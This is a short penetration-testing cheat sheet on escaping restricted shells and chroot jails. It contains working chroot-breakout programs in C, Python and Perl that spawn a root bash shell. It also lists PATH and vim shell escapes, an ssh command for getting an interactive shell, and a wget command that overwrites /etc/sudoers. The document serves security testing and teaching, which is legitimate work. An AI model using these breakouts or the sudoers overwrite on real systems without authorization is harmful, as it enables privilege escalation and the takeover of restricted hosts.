Escaping from restricted shells - Jails

GTFOBins

Search in https://gtfobins.github.io/ if you can execute any binary with "Shell" property

Chroot limitation

From wikipedia: The chroot mechanism is not intended to defend against intentional tampering by privileged **root** users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.

Therefore, if you are root inside a chroot you can escape creating another chroot. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:

{% code title="break_chroot.c" %}

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

{% endcode %}

Using python:

#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
    os.chdir("..")
os.chroot(".")
os.system("/bin/bash")

Using perl:

#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
    chdir ".."
}
chroot ".";
system("/bin/bash");

Modify PATH

Check if you can modify the PATH env variable

echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Using vim

:set shell=/bin/sh
:shell

Create script

Check if you can create an executable file with /bin/bash as content

red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Get bash from SSH

If you are accessing via ssh you can use this trick to execute a bash shell:

ssh -t user@<IP> bash # Get directly an interactive shell

Wget

You can overwrite for example sudoers file

wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Other tricks

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells
https://gtfobins.github.io
It could also be interesting the page:

{% page-ref page="../useful-linux-commands/bypass-bash-restrictions.md" %}

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